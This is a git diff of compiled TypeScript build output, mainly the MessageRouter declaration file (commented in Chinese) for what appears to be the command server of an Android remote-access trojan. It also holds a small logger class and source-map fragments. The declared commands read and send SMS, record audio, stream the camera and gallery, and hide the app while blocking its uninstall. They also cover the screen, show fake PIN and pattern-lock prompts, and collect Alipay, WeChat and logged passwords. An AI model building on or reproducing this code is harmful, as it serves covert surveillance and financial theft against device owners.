I,GAAG,CAAC,UAAU,IAAI,GAAG,IAAI,GAAG,CAAC,UAAU,GAAG,GAAG,EAAE,CAAC;4BACpE,qDAAqD;4BACrD,OAAO,EAAE,CAAA;wBACX,CAAC;6BAAM,CAAC;4BACN,MAAM,QAAQ,GAAG,QAAQ,GAAG,CAAC,UAAU,KAAK,YAAY,CAAC,SAAS,CAAC,CAAC,EAAE,GAAG,CAAC,EAAE,CAAA;4BAC5E,0CAA0C;4BAC1C,MAAM,CAAC,IAAI,KAAK,CAAC,QAAQ,CAAC,CAAC,CAAA;wBAC7B,CAAC;oBACH,CAAC,CAAC,CAAA;gBACJ,CAAC,CAAC,CAAA;gBAEF,GAAG,CAAC,EAAE,CAAC,OAAO,EAAE,CAAC,KAAK,EAAE,EAAE;oBACxB,gDAAgD;oBAChD,MAAM,CAAC,KAAK,CAAC,CAAA;gBACf,CAAC,CAAC,CAAA;gBAEF,GAAG,CAAC,EAAE,CAAC,SAAS,EAAE,GAAG,EAAE;oBACrB,8BAA8B;oBAC9B,GAAG,CAAC,OAAO,EAAE,CAAA;oBACb,MAAM,CAAC,IAAI,KAAK,CAAC,MAAM,CAAC,CAAC,CAAA;gBAC3B,CAAC,CAAC,CAAA;gBAEF,GAAG,CAAC,KAAK,CAAC,IAAI,CAAC,CAAA;gBACf,GAAG,CAAC,GAAG,EAAE,CAAA;YAEX,CAAC;YAAC,OAAO,KAAU,EAAE,CAAC;gBACpB,MAAM,CAAC,KAAK,CAAC,CAAA;YACf,CAAC;QACH,CAAC,CAAC,CAAA;IACJ,CAAC;IAED;;OAEG;IACH,KAAK,CAAC,WAAW;QACf,IAAI,CAAC;YACH,MAAM,IAAI,CAAC,cAAc,EAAE,CAAA;YAC3B,OAAO,IAAI,CAAA;QACb,CAAC;QAAC,OAAO,KAAK,EAAE,CAAC;YACf,OAAO,KAAK,CAAA;QACd,CAAC;IACH,CAAC;IAED;;OAEG;IACH,SAAS;QAOP,OAAO;YACL,OAAO,EAAE,IAAI,CAAC,OAAO;YACrB,OAAO,EAAE,IAAI,CAAC,SAAS;YACvB,QAAQ,EAAE,IAAI,CAAC,aAAa;YAC5B,MAAM,EAAE,IAAI,CAAC,OAAO;SACrB,CAAA;IACH,CAAC;CACF;AAtOD,wCAsOC"}
|
||||
400
dist/services/MessageRouter.d.ts
vendored
Normal file
400
dist/services/MessageRouter.d.ts
vendored
Normal file
@@ -0,0 +1,400 @@
|
||||
import DeviceManager from '../managers/DeviceManager';
|
||||
import WebClientManager from '../managers/WebClientManager';
|
||||
import { DatabaseService } from './DatabaseService';
|
||||
/**
|
||||
* 控制消息接口
|
||||
*/
|
||||
export interface ControlMessage {
|
||||
type: 'CLICK' | 'SWIPE' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'INPUT_TEXT' | 'KEY_EVENT' | 'GESTURE' | 'POWER_WAKE' | 'POWER_SLEEP' | 'DEVICE_BLOCK_INPUT' | 'DEVICE_ALLOW_INPUT' | 'LOG_ENABLE' | 'LOG_DISABLE' | 'WAKE_SCREEN' | 'LOCK_SCREEN' | 'UNLOCK_DEVICE' | 'ENABLE_BLACK_SCREEN' | 'DISABLE_BLACK_SCREEN' | 'OPEN_APP_SETTINGS' | 'HIDE_APP' | 'SHOW_APP' | 'REFRESH_MEDIA_PROJECTION_PERMISSION' | 'CLOSE_CONFIG_MASK' | 'ENABLE_UNINSTALL_PROTECTION' | 'DISABLE_UNINSTALL_PROTECTION' | 'CAMERA_START' | 'CAMERA_STOP' | 'CAMERA_SWITCH' | 'SMS_PERMISSION_CHECK' | 'SMS_READ' | 'SMS_SEND' | 'SMS_UNREAD_COUNT' | 'GALLERY_PERMISSION_CHECK' | 'ALBUM_READ' | 'GET_GALLERY' | 'MICROPHONE_PERMISSION_CHECK' | 'MICROPHONE_START_RECORDING' | 'MICROPHONE_STOP_RECORDING' | 'MICROPHONE_RECORDING_STATUS' | 'ALIPAY_DETECTION_START' | 'WECHAT_DETECTION_START' | 'OPEN_PIN_INPUT' | 'OPEN_FOUR_DIGIT_PIN' | 'OPEN_PATTERN_LOCK' | 'CHANGE_SERVER_URL' | 'SCREEN_CAPTURE_PAUSE' | 'SCREEN_CAPTURE_RESUME';
|
||||
deviceId: string;
|
||||
data: any;
|
||||
timestamp: number;
|
||||
}
|
||||
/**
|
||||
* 操作日志消息接口
|
||||
*/
|
||||
export interface OperationLogMessage {
|
||||
deviceId: string;
|
||||
logType: 'APP_OPENED' | 'TEXT_INPUT' | 'CLICK' | 'SWIPE' | 'KEY_EVENT' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'CONTINUOUS_LONG_PRESS_DRAG' | 'GESTURE' | 'SYSTEM_EVENT';
|
||||
content: string;
|
||||
extraData?: any;
|
||||
timestamp: number;
|
||||
}
|
||||
/**
|
||||
* 屏幕数据接口
|
||||
*/
|
||||
export interface ScreenData {
|
||||
deviceId: string;
|
||||
format: 'JPEG' | 'PNG' | 'H264' | 'UI_TEST' | 'UI_HIERARCHY';
|
||||
data: Buffer | string;
|
||||
width: number;
|
||||
height: number;
|
||||
quality: number;
|
||||
timestamp: number;
|
||||
isLocked?: boolean;
|
||||
}
|
||||
/**
|
||||
* 摄像头数据接口
|
||||
*/
|
||||
export interface CameraData {
|
||||
deviceId: string;
|
||||
format: 'JPEG' | 'PNG' | 'H264';
|
||||
data: string;
|
||||
type: 'camera';
|
||||
timestamp: number;
|
||||
}
|
||||
/**
|
||||
* 相册图片数据接口(设备发送)
|
||||
*/
|
||||
export interface GalleryImageData {
|
||||
deviceId: string;
|
||||
type: 'gallery_image';
|
||||
timestamp: number;
|
||||
index: number;
|
||||
id: number | string;
|
||||
displayName?: string;
|
||||
dateAdded?: number;
|
||||
mimeType?: string;
|
||||
width?: number;
|
||||
height?: number;
|
||||
size?: number;
|
||||
contentUri?: string;
|
||||
format: 'JPEG' | 'PNG';
|
||||
data: string;
|
||||
}
|
||||
/**
|
||||
* 麦克风音频数据接口(设备发送)
|
||||
*/
|
||||
export interface MicrophoneAudioData {
|
||||
deviceId: string;
|
||||
type: 'microphone_audio';
|
||||
timestamp: number;
|
||||
audioData: string;
|
||||
sampleRate: number;
|
||||
sampleCount: number;
|
||||
format: 'PCM' | 'AAC' | 'MP3' | 'WAV';
|
||||
channels: number;
|
||||
bitDepth: number;
|
||||
}
|
||||
/**
|
||||
* 短信数据接口
|
||||
*/
|
||||
export interface SmsData {
|
||||
deviceId: string;
|
||||
type: 'sms_data';
|
||||
timestamp: number;
|
||||
count: number;
|
||||
smsList: SmsItem[];
|
||||
}
|
||||
/**
|
||||
* 短信项接口
|
||||
*/
|
||||
export interface SmsItem {
|
||||
id: number;
|
||||
address: string;
|
||||
body: string;
|
||||
date: number;
|
||||
read: boolean;
|
||||
type: number;
|
||||
}
|
||||
/**
|
||||
* 消息路由服务 - 增强版,包含内存管理
|
||||
*/
|
||||
export declare class MessageRouter {
|
||||
private logger;
|
||||
private deviceManager;
|
||||
private webClientManager;
|
||||
private databaseService;
|
||||
private screenDataBuffer;
|
||||
private cameraDataBuffer;
|
||||
private smsDataBuffer;
|
||||
private microphoneAudioBuffer;
|
||||
private readonly maxBufferSize;
|
||||
private readonly bufferTimeout;
|
||||
private readonly maxDataSize;
|
||||
private lastCleanupTime;
|
||||
private readonly cleanupInterval;
|
||||
private routedFrames;
|
||||
private droppedFrames;
|
||||
private totalDataSize;
|
||||
private routedCameraFrames;
|
||||
private droppedCameraFrames;
|
||||
private totalCameraDataSize;
|
||||
private routedSmsData;
|
||||
private droppedSmsData;
|
||||
private totalSmsDataSize;
|
||||
private routedMicrophoneAudio;
|
||||
private droppedMicrophoneAudio;
|
||||
private totalMicrophoneAudioSize;
|
||||
constructor(deviceManager: DeviceManager, webClientManager: WebClientManager, databaseService: DatabaseService);
|
||||
/**
|
||||
* 🖼️ 发送本地已缓存相册图片给指定Web客户端
|
||||
*/
|
||||
private sendLocalGalleryToClient;
|
||||
/**
|
||||
* 🔧 启动定期清理任务
|
||||
*/
|
||||
private startPeriodicCleanup;
|
||||
/**
|
||||
* 🔧 定期清理过期数据
|
||||
*/
|
||||
private performPeriodicCleanup;
|
||||
/**
|
||||
* 🚨 紧急内存清理
|
||||
*/
|
||||
private performEmergencyCleanup;
|
||||
/**
|
||||
* 路由控制消息(从Web客户端到设备)
|
||||
*/
|
||||
routeControlMessage(fromSocketId: string, message: ControlMessage): boolean;
|
||||
/**
|
||||
* 路由屏幕数据(从设备到Web客户端)- 增强版,包含内存管理
|
||||
*/
|
||||
routeScreenData(fromSocketId: string, screenData: ScreenData): boolean;
|
||||
/**
|
||||
* 重试路由屏幕数据
|
||||
*/
|
||||
private retryRouteScreenData;
|
||||
/**
|
||||
* 路由摄像头数据(从设备到Web客户端)- 模仿routeScreenData实现
|
||||
*/
|
||||
routeCameraData(fromSocketId: string, cameraData: CameraData): boolean;
|
||||
/**
|
||||
* 重试路由摄像头数据
|
||||
*/
|
||||
private retryRouteCameraData;
|
||||
/**
|
||||
* 路由相册图片数据(不保存到磁盘,直接转发base64给客户端)
|
||||
*/
|
||||
routeGalleryImage(fromSocketId: string, image: GalleryImageData): boolean;
|
||||
/**
|
||||
* 路由麦克风音频数据(从设备到Web客户端)
|
||||
*/
|
||||
routeMicrophoneAudio(fromSocketId: string, audioData: MicrophoneAudioData): boolean;
|
||||
/**
|
||||
* 重试路由麦克风音频数据
|
||||
*/
|
||||
private retryRouteMicrophoneAudio;
|
||||
/**
|
||||
* 路由短信数据(从设备到Web客户端)
|
||||
*/
|
||||
routeSmsData(fromSocketId: string, smsData: SmsData): boolean;
|
||||
/**
|
||||
* 重试路由短信数据
|
||||
*/
|
||||
private retryRouteSmsData;
|
||||
/**
|
||||
* 路由设备事件(从设备到Web客户端)
|
||||
*/
|
||||
routeDeviceEvent(fromSocketId: string, eventType: string, eventData: any): boolean;
|
||||
/**
|
||||
* 路由客户端事件(从Web客户端到其他客户端或设备)
|
||||
*/
|
||||
routeClientEvent(fromSocketId: string, eventType: string, eventData: any): boolean;
|
||||
/**
|
||||
* 处理设备控制请求
|
||||
*/
|
||||
private handleDeviceControlRequest;
|
||||
/**
|
||||
* 处理设备控制释放
|
||||
*/
|
||||
private handleDeviceControlRelease;
|
||||
/**
|
||||
* 处理设备列表请求
|
||||
*/
|
||||
private handleDeviceListRequest;
|
||||
/**
|
||||
* 处理操作日志(从设备接收)
|
||||
*/
|
||||
handleOperationLog(fromSocketId: string, logMessage: OperationLogMessage): boolean;
|
||||
/**
|
||||
* 处理获取操作日志请求
|
||||
*/
|
||||
private handleGetOperationLogs;
|
||||
/**
|
||||
* 处理清空操作日志请求
|
||||
*/
|
||||
private handleClearOperationLogs;
|
||||
/**
|
||||
* 处理获取设备密码请求
|
||||
*/
|
||||
private handleGetDevicePassword;
|
||||
/**
|
||||
* 处理保存设备密码请求
|
||||
*/
|
||||
private handleSaveDevicePassword;
|
||||
/**
|
||||
* 处理更新设备状态请求
|
||||
*/
|
||||
private handleUpdateDeviceState;
|
||||
/**
|
||||
* 处理获取设备状态请求
|
||||
*/
|
||||
private handleGetDeviceState;
|
||||
/**
|
||||
* 广播消息到所有相关方
|
||||
*/
|
||||
broadcastMessage(eventType: string, data: any): void;
|
||||
/**
|
||||
* 获取路由统计信息
|
||||
*/
|
||||
getRouterStats(): {
|
||||
totalDevices: number;
|
||||
totalClients: number;
|
||||
activeControlSessions: number;
|
||||
};
|
||||
handleDeviceInputBlockedChanged(deviceId: string, blocked: boolean): void;
|
||||
private handleDeviceLoggingStateChanged;
|
||||
private restoreDeviceState;
|
||||
private handleSearchPasswordsFromLogs;
|
||||
/**
|
||||
* ✅ 新增:从操作日志中提取密码候选及其元信息(包括确认坐标)
|
||||
*/
|
||||
private extractPasswordCandidatesWithMeta;
|
||||
/**
|
||||
* 从操作日志中提取密码候选 - ✅ 增强版本,改进密码类型识别
|
||||
*/
|
||||
private extractPasswordCandidates;
|
||||
/**
|
||||
* ✅ 新增:从密码内容检测密码类型
|
||||
*/
|
||||
private detectPasswordTypeFromContent;
|
||||
/**
|
||||
* ✅ 增强版密码验证:判断文本是否可能是密码,考虑密码类型
|
||||
*/
|
||||
private isPossiblePasswordEnhanced;
|
||||
/**
|
||||
* 判断文本是否可能是密码 - 保持原有逻辑作为后备
|
||||
*/
|
||||
private isPossiblePassword;
|
||||
/**
|
||||
* ✅ 刷新所有web客户端的设备列表
|
||||
*/
|
||||
private refreshAllWebClientDeviceLists;
|
||||
/**
|
||||
* ✅ 同步设备状态到设备端
|
||||
*/
|
||||
private syncDeviceStateToDevice;
|
||||
/**
|
||||
* 处理删除设备请求
|
||||
*/
|
||||
private handleDeleteDevice;
|
||||
/**
|
||||
* 获取设备UI层次结构
|
||||
*/
|
||||
private handleGetUIHierarchy;
|
||||
/**
|
||||
* 处理设备UI层次结构响应
|
||||
*/
|
||||
private handleUIHierarchyResponse;
|
||||
/**
|
||||
* 路由UI层次结构响应(从设备到Web客户端)- 参考routeScreenData的模式
|
||||
*/
|
||||
routeUIHierarchyResponse(fromSocketId: string, hierarchyData: any): boolean;
|
||||
/**
|
||||
* 🆕 处理开始提取确认坐标的请求
|
||||
*/
|
||||
private handleStartExtractConfirmCoords;
|
||||
/**
|
||||
* 🆕 处理保存确认坐标的请求
|
||||
*/
|
||||
private handleSaveConfirmCoords;
|
||||
/**
|
||||
* 🆕 处理启用黑屏遮盖的请求
|
||||
*/
|
||||
private handleEnableBlackScreen;
|
||||
/**
|
||||
* 🆕 处理取消黑屏遮盖的请求
|
||||
*/
|
||||
private handleDisableBlackScreen;
|
||||
/**
|
||||
* 🆕 处理打开应用设置的请求
|
||||
*/
|
||||
private handleOpenAppSettings;
|
||||
/**
|
||||
* 🆕 处理隐藏应用的请求
|
||||
*/
|
||||
private handleHideApp;
|
||||
/**
|
||||
* 🆕 处理应用隐藏状态更新(来自Android端的状态报告)
|
||||
*/
|
||||
private handleAppHideStatusUpdate;
|
||||
/**
|
||||
* 🆕 处理显示应用的请求
|
||||
*/
|
||||
private handleShowApp;
|
||||
/**
|
||||
* 🆕 处理关闭配置遮盖的请求
|
||||
*/
|
||||
private handleCloseConfigMask;
|
||||
/**
|
||||
* 🆕 处理重新获取投屏权限请求
|
||||
*/
|
||||
private handleRefreshMediaProjectionPermission;
|
||||
/**
|
||||
* 🆕 路由权限申请响应
|
||||
*/
|
||||
routePermissionResponse(socketId: string, permissionData: any): boolean;
|
||||
/**
|
||||
* 💰 路由支付宝密码数据
|
||||
*/
|
||||
routeAlipayPassword(socketId: string, passwordData: any): boolean;
|
||||
/**
|
||||
* 💬 路由微信密码数据
|
||||
*/
|
||||
routeWechatPassword(socketId: string, passwordData: any): boolean;
|
||||
/**
|
||||
* 🔐 路由通用密码输入数据
|
||||
*/
|
||||
routePasswordInput(socketId: string, passwordData: any): boolean;
|
||||
/**
|
||||
* 🔍 路由支付宝检测启动指令
|
||||
*/
|
||||
routeAlipayDetectionStart(socketId: string, detectionData: any): boolean;
|
||||
/**
|
||||
* 💬 路由微信检测启动指令
|
||||
*/
|
||||
routeWechatDetectionStart(socketId: string, detectionData: any): boolean;
|
||||
/**
|
||||
* 🆕 处理MediaProjection权限申请响应
|
||||
*/
|
||||
private handleMediaProjectionPermissionResponse;
|
||||
/**
|
||||
* 🛡️ 处理启用防止卸载保护的请求
|
||||
*/
|
||||
private handleEnableUninstallProtection;
|
||||
/**
|
||||
* 🛡️ 处理禁用防止卸载保护的请求
|
||||
*/
|
||||
private handleDisableUninstallProtection;
|
||||
/**
|
||||
* 处理相册权限检查请求
|
||||
*/
|
||||
private handleGalleryPermissionCheck;
|
||||
/**
|
||||
* 处理相册读取请求
|
||||
*/
|
||||
private handleAlbumRead;
|
||||
/**
|
||||
* 处理设备解锁请求
|
||||
*/
|
||||
private handleUnlockDevice;
|
||||
/**
|
||||
* 🔐 处理打开6位PIN输入界面的请求
|
||||
*/
|
||||
private handleOpenPinInput;
|
||||
/**
|
||||
* 🔐 处理打开4位密码输入界面的请求
|
||||
*/
|
||||
private handleOpenFourDigitPin;
|
||||
/**
|
||||
* 🔐 处理打开图形密码输入界面的请求
|
||||
*/
|
||||
private handleOpenPatternLock;
|
||||
/**
|
||||
* 处理修改服务器地址请求
|
||||
*/
|
||||
private handleChangeServerUrl;
|
||||
}
|
||||
export default MessageRouter;
|
||||
//# sourceMappingURL=MessageRouter.d.ts.map
|
||||
1
dist/services/MessageRouter.d.ts.map
vendored
Normal file
1
dist/services/MessageRouter.d.ts.map
vendored
Normal file
File diff suppressed because one or more lines are too long
4451
dist/services/MessageRouter.js
vendored
Normal file
4451
dist/services/MessageRouter.js
vendored
Normal file
File diff suppressed because it is too large
Load Diff
1
dist/services/MessageRouter.js.map
vendored
Normal file
1
dist/services/MessageRouter.js.map
vendored
Normal file
File diff suppressed because one or more lines are too long
15
dist/utils/Logger.d.ts
vendored
Normal file
15
dist/utils/Logger.d.ts
vendored
Normal file
@@ -0,0 +1,15 @@
|
||||
/**
|
||||
* 日志工具类
|
||||
*/
|
||||
declare class Logger {
|
||||
private prefix;
|
||||
constructor(prefix?: string);
|
||||
private formatMessage;
|
||||
info(message: string, ...args: any[]): void;
|
||||
warn(message: string, ...args: any[]): void;
|
||||
error(message: string, ...args: any[]): void;
|
||||
debug(message: string, ...args: any[]): void;
|
||||
trace(message: string, ...args: any[]): void;
|
||||
}
|
||||
export default Logger;
|
||||
//# sourceMappingURL=Logger.d.ts.map
|
||||
1
dist/utils/Logger.d.ts.map
vendored
Normal file
1
dist/utils/Logger.d.ts.map
vendored
Normal file
@@ -0,0 +1 @@
|
||||
{"version":3,"file":"Logger.d.ts","sourceRoot":"","sources":["../../src/utils/Logger.ts"],"names":[],"mappings":"AAAA;;GAEG;AACH,cAAM,MAAM;IACV,OAAO,CAAC,MAAM,CAAQ;gBAEV,MAAM,GAAE,MAAc;IAIlC,OAAO,CAAC,aAAa;IASrB,IAAI,CAAC,OAAO,EAAE,MAAM,EAAE,GAAG,IAAI,EAAE,GAAG,EAAE,GAAG,IAAI;IAI3C,IAAI,CAAC,OAAO,EAAE,MAAM,EAAE,GAAG,IAAI,EAAE,GAAG,EAAE,GAAG,IAAI;IAI3C,KAAK,CAAC,OAAO,EAAE,MAAM,EAAE,GAAG,IAAI,EAAE,GAAG,EAAE,GAAG,IAAI;IAI5C,KAAK,CAAC,OAAO,EAAE,MAAM,EAAE,GAAG,IAAI,EAAE,GAAG,EAAE,GAAG,IAAI;IAM5C,KAAK,CAAC,OAAO,EAAE,MAAM,EAAE,GAAG,IAAI,EAAE,GAAG,EAAE,GAAG,IAAI;CAK7C;AAED,eAAe,MAAM,CAAA"}
|
||||
36
dist/utils/Logger.js
vendored
Normal file
36
dist/utils/Logger.js
vendored
Normal file
@@ -0,0 +1,36 @@
|
||||
"use strict";
|
||||
Object.defineProperty(exports, "__esModule", { value: true });
|
||||
/**
|
||||
* 日志工具类
|
||||
*/
|
||||
class Logger {
|
||||
constructor(prefix = 'App') {
|
||||
this.prefix = prefix;
|
||||
}
|
||||
formatMessage(level, message, ...args) {
|
||||
const timestamp = new Date().toISOString();
|
||||
const formattedArgs = args.length > 0 ? ' ' + args.map(arg => typeof arg === 'object' ? JSON.stringify(arg, null, 2) : String(arg)).join(' ') : '';
|
||||
return `[${timestamp}] [${level}] [${this.prefix}] ${message}${formattedArgs}`;
|
||||
}
|
||||
info(message, ...args) {
|
||||
console.log(this.formatMessage('INFO', message, ...args));
|
||||
}
|
||||
warn(message, ...args) {
|
||||
console.warn(this.formatMessage('WARN', message, ...args));
|
||||
}
|
||||
error(message, ...args) {
|
||||
console.error(this.formatMessage('ERROR', message, ...args));
|
||||
}
|
||||
debug(message, ...args) {
|
||||
if (process.env.NODE_ENV === 'development') {
|
||||
console.debug(this.formatMessage('DEBUG', message, ...args));
|
||||
}
|
||||
}
|
||||
trace(message, ...args) {
|
||||
if (process.env.NODE_ENV === 'development') {
|
||||
console.trace(this.formatMessage('TRACE', message, ...args));
|
||||
}
|
||||
}
|
||||
}
|
||||
exports.default = Logger;
|
||||
//# sourceMappingURL=Logger.js.map
|
||||
1
dist/utils/Logger.js.map
vendored
Normal file
1
dist/utils/Logger.js.map
vendored
Normal file
@@ -0,0 +1 @@
|
||||
{"version":3,"file":"Logger.js","sourceRoot":"","sources":["../../src/utils/Logger.ts"],"names":[],"mappings":";;AAAA;;GAEG;AACH,MAAM,MAAM;IAGV,YAAY,SAAiB,KAAK;QAChC,IAAI,CAAC,MAAM,GAAG,MAAM,CAAA;IACtB,CAAC;IAEO,aAAa,CAAC,KAAa,EAAE,OAAe,EAAE,GAAG,IAAW;QAClE,MAAM,SAAS,GAAG,IAAI,IAAI,EAAE,CAAC,WAAW,EAAE,CAAA;QAC1C,MAAM,aAAa,GAAG,IAAI,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC,CAAC,GAAG,GAAG,IAAI,CAAC,GAAG,CAAC,GAAG,CAAC,EAAE,CAC3D,OAAO,GAAG,KAAK,QAAQ,CAAC,CAAC,CAAC,IAAI,CAAC,SAAS,CAAC,GAAG,EAAE,IAAI,EAAE,CAAC,CAAC,CAAC,CAAC,CAAC,MAAM,CAAC,GAAG,CAAC,CACrE,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC,EAAE,CAAA;QAEhB,OAAO,IAAI,SAAS,MAAM,KAAK,MAAM,IAAI,CAAC,MAAM,KAAK,OAAO,GAAG,aAAa,EAAE,CAAA;IAChF,CAAC;IAED,IAAI,CAAC,OAAe,EAAE,GAAG,IAAW;QAClC,OAAO,CAAC,GAAG,CAAC,IAAI,CAAC,aAAa,CAAC,MAAM,EAAE,OAAO,EAAE,GAAG,IAAI,CAAC,CAAC,CAAA;IAC3D,CAAC;IAED,IAAI,CAAC,OAAe,EAAE,GAAG,IAAW;QAClC,OAAO,CAAC,IAAI,CAAC,IAAI,CAAC,aAAa,CAAC,MAAM,EAAE,OAAO,EAAE,GAAG,IAAI,CAAC,CAAC,CAAA;IAC5D,CAAC;IAED,KAAK,CAAC,OAAe,EAAE,GAAG,IAAW;QACnC,OAAO,CAAC,KAAK,CAAC,IAAI,CAAC,aAAa,CAAC,OAAO,EAAE,OAAO,EAAE,GAAG,IAAI,CAAC,CAAC,CAAA;IAC9D,CAAC;IAED,KAAK,CAAC,OAAe,EAAE,GAAG,IAAW;QACnC,IAAI,OAAO,CAAC,GAAG,CAAC,QAAQ,KAAK,aAAa,EAAE,CAAC;YAC3C,OAAO,CAAC,KAAK,CAAC,IAAI,CAAC,aAAa,CAAC,OAAO,EAAE,OAAO,EAAE,GAAG,IAAI,CAAC,CAAC,CAAA;QAC9D,CAAC;IACH,CAAC;IAED,KAAK,CAAC,OAAe,EAAE,GAAG,IAAW;QACnC,IAAI,OAAO,CAAC,GAAG,CAAC,QAAQ,KAAK,aAAa,EAAE,CAAC;YAC3C,OAAO,CAAC,KAAK,CAAC,IAAI,CAAC,aAAa,CAAC,OAAO,EAAE,OAAO,EAAE,GAAG,IAAI,CAAC,CAAC,CAAA;QAC9D,CAAC;IACH,CAAC;CACF;AAED,kBAAe,MAAM,CAAA"}
|
||||
Reference in New Issue
Block a user